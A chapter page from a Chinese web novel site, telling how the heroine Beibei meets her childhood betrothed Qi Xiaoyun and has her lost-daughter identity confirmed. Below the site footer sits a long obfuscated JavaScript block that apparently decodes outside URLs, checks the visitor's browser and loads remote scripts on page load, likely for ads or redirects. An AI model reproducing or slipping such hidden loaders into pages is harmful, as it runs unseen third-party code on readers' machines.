首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第0354章齐家故人

下载APP,无广告、完整阅读
    第0354章齐家故人(第1/2页)
    屋子里忽然安静下来。
    贝贝盯着桌上那块玉佩,上面的“齐”字在晨光中清晰可见,笔画遒劲,一看就是老玉。她想起自己怀里那两块拼在一起的玉佩,上面的“莫”字和这个“齐”字,笔画风格几乎一样。
    年轻***在窗边,看着她,没有说话。
    贝贝抬起头,对上他的目光。
    “你是谁?”
    年轻男人笑了笑,笑容很淡,但眼睛里有一点温度。
    “齐啸云。”
    贝贝的脑子里“嗡”的一声。
    齐啸云。
    那个和她在襁褓中就定下婚约的人。
    那个莹莹口中“像哥哥一样”的人。
    那个她从未见过、却在各种人口中听说过无数次的人。
    她往后退了一步,靠在工作台边沿上。
    “你……你怎么知道我是……”
    齐啸云看着她,目光里有一种复杂的情绪。
    “昨晚在巷子里,我看见了。”
    贝贝愣住了。
    “昨晚?”
    齐啸云点点头。
    “我跟着你。”
    贝贝的脸色变了。
    “你跟踪我?”
    齐啸云没有否认。
    “是。”
    贝贝攥紧了拳头。
    “为什么?”
    齐啸云沉默了几秒,才开口。
    “因为我在查一件事。”
    他顿了顿,继续说:“半年前,我收到一封匿名信。信上说,莫家当年丢的那个女儿,还活着。信里没有署名,没有地址,只写了一句话——‘去江南水乡,找当年遗弃孩子的人。’”
    贝贝的心跳得更快了。
    “所以你……”
    齐啸云点点头。
    “我去了江南。找了很久,找到了当年那个乳娘。她一开始不肯说,后来我把她带到官府,她才交代了全部——当年是谁逼她抱走孩子,在哪里遗弃,孩子身上有什么信物。”
    他看着贝贝。
    “她说,孩子身上有一块玉佩,半块,上面有‘莫’字。”
    贝贝的手不自觉地按在怀里,那两块玉佩正贴着她的胸口。
    齐啸云继续说:“我顺着线索找到水乡,找到收养你的人家。可我去的时候,你已经走了。你养母说,你来沪上赚钱,给养父治病。”
    他顿了顿。
    “我一路追到沪上,找到你做工的绣坊。可每次我来,你都不在。昨晚我在巷口等了很久,看见你被几个地痞围住,刚要上前,你已经自己解决了。”
    说到这里,他的嘴角微微扬起。
    “身手不错。”
    贝贝听着,脑子里乱成一团。
    她想起第一次见他的时候,在电车上,他帮她追回钱包。那时候她以为只是偶然。
    第二次在顾记绣庄,他来找顾老板,她以为他是来谈生意的。
    现在才知道,他一直在找她。
    “那你为什么不直接告诉我?”她问。
    齐啸云看着她,目光很深。
    “因为我不确定,你是不是真的那个孩子。我需要确认。”
    “怎么确认?”
    齐啸云指了指她怀里的方向。
    “玉佩。”
    贝贝沉默了。
    她从怀里掏出那两块拼在一起的玉佩,放在桌上,和齐啸云那块并排。
    三块玉佩,两个“莫”字,一个“齐”字。
    玉质一样,雕工一样,一看就是出自同一块料子。
    齐啸云低头看着那两块拼在一起的玉佩,看了很久。
    “果然是。”
    他抬起头,看着贝贝。
    “姑娘,你叫贝贝?”
    贝贝点头。
    齐啸云嘴角又扬了扬。
    “这名字好。比那些文绉绉的字号好听。”
    贝贝看着他,不知道该说什么。
    屋子里又安静下来。
    过了很久,贝贝开口。
    “你找我,就是为了确认身份?”
    齐啸云摇摇头。
    “不只是。”
    他看着她,目光里有一种认真。
    “我找你,是想告诉你一件事。”
    “什么事?”
    齐啸云沉默了几秒,像是在组织语言。
    “你我的婚约,是当年两家老人定下的。那时候你我都是襁褓中的婴儿,什么都不知道。这些年,我一直在等你,也在找你的下落。”
    他看着她的眼睛。
    “可我知道,你没在齐家长大,没受过大家闺秀的教养,和我见过的那些小姐们都不一样。我不想用一纸婚约绑住你。”
    贝贝听着,心里涌起一股复杂的情绪。
    她不知道该怎么接话。
    齐啸云继续说:“我今天来,是想跟你说——婚约的事,你不需要有负担。你想认,我齐家就认;你不想认,我齐家也不强求。你想做什么样的人,过什么样的日子,都由你自己决定。”
    他看着她的眼睛。
    “我来找你,不是为了要你履行婚约。是为了告诉你,这世上还有人在等你,还有一个家可以回。”
    贝贝的眼眶又酸了。
    她想起昨晚娘说的话——“你是娘生的,可他们是娘养的。没有他们,你早就不在了。”
    现在齐啸云又说——“这世上还有人在等你,还有一个家可以回。”
    原来她有这么多人等着。
    原来她从来不是孤零零一个人。
    她低下头,深吸一口气,把眼泪逼回去。
    再抬起头时,她的目光已经平静下来。
    “齐先生,”她说,“谢谢你告诉我这些。”
    齐啸云看着她,没有说话。
    贝贝继续说:“婚约的事,我现在没法回答你。我还有很多事要做,我养父还等着我赚钱回去治病。其他的事,等以后再说。”
    齐啸云点点头。
    “应该的。”
    他顿了顿,从怀里掏出一张银票,放在桌上。
    “这是五百大洋。你先拿着,给你养父治病。”
    贝贝愣住了,连忙推辞。
    “不行,我不能要你的钱。”
    齐啸云按住银票。
    “这不是给你的。是给你养父的。他养你一场,这份恩情,我齐家也该还。”
    贝贝看着他,不知道该说什么。
    齐啸云笑了笑。
    “别多想。就当我替齐家还个人情。”
    贝贝沉默了几秒,终于点点头。
    “好。我收下。以后等我赚了钱,一定还你。”
    齐啸云摇摇头。
    “不用还。”
    他转身往外走。
    走到门口,他停了一下,没有回头。
    “贝贝姑娘,你娘和你姐姐那边,需要帮忙的话,可以来齐家找我。齐家还住在老地方,你知道的。”
    然后推开门,走了出去。
    贝贝站在屋里,看着那扇关上的门,看着桌上那张银票,看着那三块并排的玉佩。
    心里乱成一团。
    周婶子从外面探进头来。
    “阿贝,那人走了?他是谁啊?”
    贝贝回过神,把玉佩和银票收起来。
    “一个……一个故人。”
    周婶子看着她,眼神有些复杂。
    “阿贝,婶子多嘴问一句,你是不是……不是普通人家出来的?”
    贝贝沉默了一会儿,点点头。
    “是。”
    周婶子叹了口气。
    “我就知道。一看你那气质,就不像是从小吃苦的。”
    贝贝摇摇头。
    “婶子,我从小确实吃苦。在水乡长大,跟着养父养母,日子紧巴巴的。不是什么大户人家。”
    周婶子愣了愣。
    “那刚才那人……”
    贝贝不知道该怎么说。
    她想了想,问:“婶子,我想请几天假。家里有事。”
    周婶子点点头。
    “去吧。活我给你留着。”
    贝贝道了谢,出了绣坊。
    走在街上,她不知道该去哪儿。
    娘那边,她想去,可又不敢去。
    不是不敢,是不知该怎么面对。
    齐啸云那边,她更不想去。太突然了,她还没准备好。
    她站在街角,看着来来往往的人群,第一次觉得自己真的需要一个地方,好好想一想。
    最后她去了一个地方。
    江南会馆。
    那是她刚来沪上时,周婶子带她去过的地方。专门收留江南来沪的同乡,可以歇脚,可以打听消息。
    她走进去,找了个角落坐下。
    会馆里人不多,几个老头坐在那儿喝茶聊天。没人注意她。
    她从怀里掏出那三块玉佩,放在桌上。
    两块拼在一起的是“莫”字,完整的一块是“齐”字。
    她把它们摆来摆去,看着它们发呆。
    小时候,养母给她看过那块玉佩,说那是她身上唯一的信物。她问过很多次,这玉佩是哪儿来的,养母总是摇头,说不知道。
    现在她知道了。
    这玉佩是她爹给的。
    是她亲娘亲手系在她脖子上的。
    是和姐姐那块拼在一起的。
    是和齐家那块出自同一块玉料的。
    她盯着那个“齐”字,想起齐啸云的脸。
    他长得很好看,眉眼清俊,说话斯文有礼,一看就是大户人家教养出来的。可他看她的眼神,不像是看一个从未见过的人,倒像是……看一个等了很久的人。
    她想起他说的话:“这些年,我一直在等你,也在找你的下落。”
    等了十五年?
    她不信。
    她只是一个素未谋面的人,一个襁褓里就消失的人。他怎么会等那么久?
    可如果不是,他为什么要大费周章地找她?为什么要去江南查线索?为什么要跟踪她确认身份?为什么要给她五百大洋?
    贝贝想不通。
    她把玉佩收起来,靠在椅背上,闭上眼睛。
    脑子里全是乱的。
    莹莹的脸,娘的脸,齐啸云的脸,还有养父躺在病床上的脸,养母在灯下绣花的脸,一张一张地闪过去。
    她忽然想回江南。
    想回去看看养父,看看养母,看看那个破旧但温暖的小屋。
    可她又不想走。
    因为这里有娘,有姐姐,有她从未拥有过的亲人。
    她睁开眼睛,看着窗外灰蒙蒙的天。
    沪上的天总是灰的,不像水乡,天蓝得透亮。
    可这里的人,是她的血亲。
    她在会馆里坐了一下午,直到太阳西斜。
    然后她站起来,出了门,往娘那边走。
    弄堂里还是那么窄,那么破。可这一次走进去,她觉得没那么难了。
    走到那扇木门前,她敲了敲。
    门开了,莹莹站在门口,看见她,眼睛一亮。
    “贝贝!你回来了!”
    贝贝点点头。
    莹莹拉着她进屋。
    “娘,贝贝回来了!”
    林氏正在灶台边忙活,听见声音,转过身来,脸上带着笑。
    “回来了?饿了吧?马上开饭。”
    贝贝看着那张笑脸,心里涌起一股暖流。
    她走过去,在林氏旁边坐下。
    “娘,我有事跟你说。”
    林氏看着她,等着她往下说。
    贝贝从怀里掏出那张银票,放在桌上。
    林氏低头一看,愣住了。
    “这……这是哪儿来的?”
    贝贝说:“齐啸云给的。”
    林氏的脸色变了。
    莹莹在旁边也愣住了。
    “齐大哥?他怎么会给你钱?”
    贝贝把今天的事说了一遍。
    林氏听完,沉默了很久。
    然后她叹了口气。
    (本章未完,请点击下一页继续阅读)第0354章齐家故人(第2/2页)
    “这孩子,有心了。”
    贝贝看着她,问:“娘,齐啸云是什么样的人?”
    林氏想了想,说:“是个好孩子。从小就懂事,知书达理,待人宽厚。他爹齐正清,当年和你爹是生死之交。你爹出事的时候,齐家也受了牵连,被抄了家,他爹还被关了一年多。可齐家从来没抱怨过,也没和咱们撇清关系。”
    她顿了顿,继续说:“这些年,齐家慢慢起来了。齐正清出来后,重新做生意,又把家业撑起来了。啸云那孩子,从小就跟着他爹吃苦,懂事早,心也善。每个月都来看我们,送东西,塞钱。我说不用,他非要给。”
    莹莹在旁边插话:“齐大哥真的很好。从小到大,我有什么事找他帮忙,他从不推辞。我被人欺负,他就护着我;我上学没钱交学费,他就偷偷塞给我;娘生病没钱看大夫,他就把大夫请到家里来。”
    她看着贝贝。
    “他对咱们家,是真的好。”
    贝贝听着,心里那个问号越来越大。
    如果齐啸云对莫家这么好,为什么当年不干脆把她找回来?
    可转念一想,他也不知道她在哪儿。要不是乳娘交代,他可能一辈子都找不到。
    林氏看着贝贝,轻轻说:“贝贝,啸云那孩子,这些年一直在找你。他嘴上不说,可我看得出来。每次来,他都会问,有没有你的消息。他说,当年两家定下的婚约,不管对方在哪儿,他都认。”
    贝贝低下头。
    “可我没在大户人家长大,不懂那些规矩。”
    林氏拉着她的手。
    “傻孩子,大户人家的规矩,学学就会了。可人品这东西,是学不来的。你在水乡长大,吃苦耐劳,心地善良,还会功夫,这些都比那些虚头巴脑的规矩强。”
    贝贝抬起头,看着林氏。
    “娘,你希望我认这门亲?”
    林氏沉默了一会儿,说:“娘不是希望你认这门亲。娘是希望你过得好。你自己想认就认,不想认就不认。啸云那孩子说过,不会强求你。”
    贝贝点点头。
    晚上吃饭的时候,林氏多做了两个菜。
    一盘炒鸡蛋,一盘咸菜炒肉丝。
    在这家里,已经是难得的丰盛。
    贝贝吃着,觉得心里暖暖的。
    吃完饭,莹莹拉着她说话。
    “贝贝,你明天还回绣坊吗?”
    贝贝点点头。
    “要回。我跟周婶子请了几天假,但活还是要干的。”
    莹莹说:“那我跟你一起去。我也想学绣花。”
    贝贝看着她,有些意外。
    “你学这个干什么?”
    莹莹笑了笑。
    “咱们家的家产还没发还,总得找点事做。跟你学绣花,以后也能赚点钱。”
    贝贝点点头。
    “好。”
    第二天一早,两个人一起出门。
    走在弄堂里,莹莹挽着她的胳膊,心情很好。
    “贝贝,你知道吗,我小时候一直想要个妹妹。可以一起玩,一起说话,一起睡觉。现在终于有了。”
    贝贝笑了笑。
    “我也是。我一直想要个姐姐。”
    莹莹看着她,眼睛亮亮的。
    “那咱们以后就在一起了,再也不分开。”
    贝贝点点头。
    “好。”
    到了绣坊,周婶子看见她们俩,愣了愣。
    “哟,这是……这是你姐姐?”
    贝贝点点头。
    周婶子啧啧称奇。
    “长得真像。一模一样。”
    莹莹笑着叫了声“婶子”。
    周婶子高兴得合不拢嘴。
    “好好好,快进来,快进来。”
    这一天,贝贝教莹莹绣花。
    莹莹手生,绣得慢,但很认真。贝贝在旁边看着,时不时指点一下。
    中午吃饭的时候,周婶子做了两碗面,给她们一人一碗。
    莹莹吃着,眼眶忽然红了。
    贝贝看着她。
    “怎么了?”
    莹莹摇摇头。
    “没什么。就是觉得,有妹妹真好。”
    贝贝也笑了。
    下午的时候,有人来找贝贝。
    是个穿着体面的中年男人,戴着金丝眼镜,一看就是大户人家出来的。
    他站在绣坊门口,礼貌地问:“请问,莫贝贝姑娘在吗?”
    贝贝站起来,走过去。
    “我就是。您是?”
    中年男人微微躬身。
    “姑娘,我是齐家的管家,姓周。我家少爷派我来,请姑娘去齐家一趟。有要事相商。”
    贝贝愣住了。
    “什么要事?”
    周管家看了看四周,压低声音。
    “关于莫家家产发还的事。少爷说,这件事和姑娘有关,需要姑娘亲自去一趟。”
    贝贝的心跳快了一拍。
    她回头看了一眼莹莹。
    莹莹走过来,拉住她的手。
    “我陪你去。”
    贝贝点点头。
    两个人跟着周管家,上了等在门口的汽车。
    车子穿过几条街,在一座大宅子前停下来。
    宅子很大,门脸气派,门口还蹲着两个石狮子。
    贝贝下了车,看着这座宅子,心里有点紧张。
    莹莹拉着她的手。
    “别怕。我陪你。”
    周管家引着她们进去。
    穿过几道门,走进一个厅堂。
    厅堂里坐着几个人。
    主位上坐着一个中年男人,面容儒雅,眉眼间和齐啸云有几分相似。旁边坐着一个中年女人,穿着讲究,气质温婉。齐啸云站在一旁。
    看见她们进来,齐啸云迎上来。
    “贝贝姑娘,莹莹,你们来了。”
    莹莹叫了声“齐大哥”。
    齐啸云点点头,转向贝贝。
    “贝贝姑娘,这是我爹,这是我娘。”
    贝贝看着齐正清夫妇,不知道该叫什么。
    齐正清站起来,看着她,目光里有一种复杂的情绪。
    “像。”他说,“真像你爹。”
    贝贝愣住了。
    齐正清走过来,在她面前站定。
    “孩子,我跟你爹莫隆,是过命的交情。当年他被抓的时候,我正在外地,等我赶回来,已经晚了。”
    他顿了顿,声音有些哑。
    “这些年,我一直在找你的下落。可那个乳娘嘴太紧,怎么都不肯说。直到半年前,她得了重病,怕死后遭报应,才写了那封信。”
    他看着贝贝,眼眶有点红。
    “孩子,你受苦了。”
    贝贝听着这些话,心里涌起一股说不清的滋味。
    她不知道该怎么回应。
    齐啸云在旁边说:“爹,先坐下说话吧。”
    齐正清点点头,回到座位上。
    贝贝和莹莹也坐下了。
    齐啸云开口:“贝贝姑娘,今天请你来,是为了莫家家产的事。”
    贝贝看着他。
    齐啸云继续说:“莫家的家产,当年是被诬陷后充公的。现在案子翻了,家产应该发还。可这里有个问题——莫家有两个女儿,你是被遗弃的那个,身份需要确认。”
    他看着贝贝。
    “确认身份,需要有证据。玉佩是其一,还需要有证人。当年抱走你的那个乳娘,我们已经找到了,她愿意作证。但还需要你在官府露个面,说明这些年你在哪儿,怎么长大的。”
    贝贝听着,点点头。
    “那我该怎么做?”
    齐啸云说:“明天,我陪你去官府。把你养父母的情况也说一下。他们是你的养恩人,官府会认可。”
    贝贝沉默了一会儿。
    “我养父还病着,我想先回去看看他。”
    齐啸云点点头。
    “应该的。我帮你安排车,送你回去。”
    贝贝看着他,忽然问:“你为什么帮我这么多?”
    齐啸云愣了一下。
    贝贝继续说:“你找我,帮我确认身份,给我钱,现在又帮我家产的事。可我们才见过几面。为什么?”
    厅堂里安静下来。
    齐正清夫妇看着她,又看着齐啸云。
    齐啸云沉默了几秒,才开口。
    “因为你是莫家的女儿。”
    他看着她的眼睛。
    “因为你爹,是我爹的救命恩人。当年我爹被关在大牢里,是你爹托人送进去的钱和衣物,让我爹撑过了那一年多。这份恩情,我齐家这辈子都还不完。”
    他顿了顿。
    “也因为……”
    他没说完,但贝贝看见他的耳朵红了。
    齐正清在旁边接话:“因为他等了十五年,等的就是你。”
    贝贝的脸也红了。
    莹莹在旁边看着,捂着嘴笑。
    齐啸云瞪了他爹一眼,但也没反驳。
    贝贝低着头,不知道该怎么办。
    过了很久,她抬起头,看着齐啸云。
    “齐先生,我……”
    齐啸云摆摆手。
    “不用现在回答。我说过,不勉强你。你先把家产的事办好,把你养父的病治好。其他的,以后再说。”
    贝贝点点头。
    从齐家出来,莹莹拉着她的手,笑得眼睛弯弯的。
    “贝贝,齐大哥喜欢你。”
    贝贝瞪她一眼。
    “别胡说。”
    莹莹笑得更厉害了。
    “我没胡说。你看他看你的眼神,还有他脸红的样子。我可从来没见过齐大哥这样。”
    贝贝不说话。
    可她的耳朵也红了。
    晚上回到弄堂,林氏已经做好了饭。
    听莹莹说了今天的事,林氏点点头。
    “齐家是有心的。啸云那孩子,更是有心。”
    她看着贝贝。
    “贝贝,你自己怎么想的?”
    贝贝沉默了一会儿。
    “娘,我不知道。”
    林氏叹了口气。
    “不急。慢慢想。”
    吃完饭,贝贝一个人坐在门口,看着天上的星星。
    她想起齐啸云看她的眼神。
    那眼神里,有她从未见过的东西。
    不是同情,不是可怜,是另一种东西。
    她说不上来是什么。
    可她觉得,那眼神让她心里暖暖的。
    第二天一早,齐啸云果然来了。
    他亲自来接她,陪她去官府。
    官府里,那个乳娘已经在了。
    她老了,头发全白了,满脸皱纹,跪在地上不敢抬头。
    贝贝看着她,心里涌起一股复杂的情绪。
    就是这个女人,当年把她抱走,遗弃在码头。
    可也是这个女人,在被逼问的时候,说出了真相。
    官老爷问话,乳娘一五一十地交代。
    说当年是谁逼她的,说在哪里遗弃的,说孩子身上有什么信物。
    贝贝也说了自己的情况,说了养父母的名字,说了自己在水乡长大的经过。
    官老爷听完,点点头。
    “身份确认无误。莫家家产,择日发还。”
    从官府出来,贝贝站在台阶上,看着灰蒙蒙的天。
    齐啸云站在她旁边。
    “贝贝姑娘,接下来有什么打算?”
    贝贝想了想。
    “我想回一趟江南。”
    齐啸云点点头。
    “我送你。”
    贝贝看着他。
    “你送?”
    齐啸云笑了笑。
    “正好有些事要去那边办。顺路。”
    贝贝知道他不是顺路。
    但她没有拒绝。
    因为她知道,这个人,是真的想帮她。
    也真的,在等她。
    等了她十五年。

一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 